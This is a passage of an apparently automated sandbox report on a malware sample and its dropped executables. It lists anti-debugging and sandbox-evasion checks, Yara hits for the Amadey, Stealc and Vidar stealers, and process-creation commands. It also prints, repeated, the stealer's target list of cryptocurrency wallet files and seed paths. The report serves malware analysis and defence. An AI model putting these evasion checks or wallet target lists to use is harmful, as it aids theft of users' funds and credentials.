Source: file.exe, 00000000.00000002.2587818866.00000000012C0000.00000040.00000001.01000000.00000003.sdmp, DocumentsHCAFIJDGHC.exe, 00000015.00000002.2623729733.0000000000B39000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2655180186.0000000000AC9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2665542036.0000000000AC9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3313862633.0000000000AC9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CAKEBFCF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: CAKEBFCF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

Code function: 21_2_053B0B7E Start: 053B0D8D End: 053B0BA2

21_2_053B0B7E

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

Code function: 21_2_053B0CCC rdtsc

21_2_053B0CCC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0091652B mov eax, dword ptr fs:[00000030h]		25_2_0091652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0091A302 mov eax, dword ptr fs:[00000030h]		25_2_0091A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAFIJDGHC.exe "C:\Users\user\DocumentsHCAFIJDGHC.exe"
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe	Binary or memory string: EProgram Manager
Source: file.exe, 00000000.00000002.2587818866.00000000012C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.skotes.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsHCAFIJDGHC.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.8e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.2580836790.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.3273779567.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2614240745.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3313608021.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2623360968.0000000000951000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2655092186.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2665437808.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2624888080.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2587213039.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075003710.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5640, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
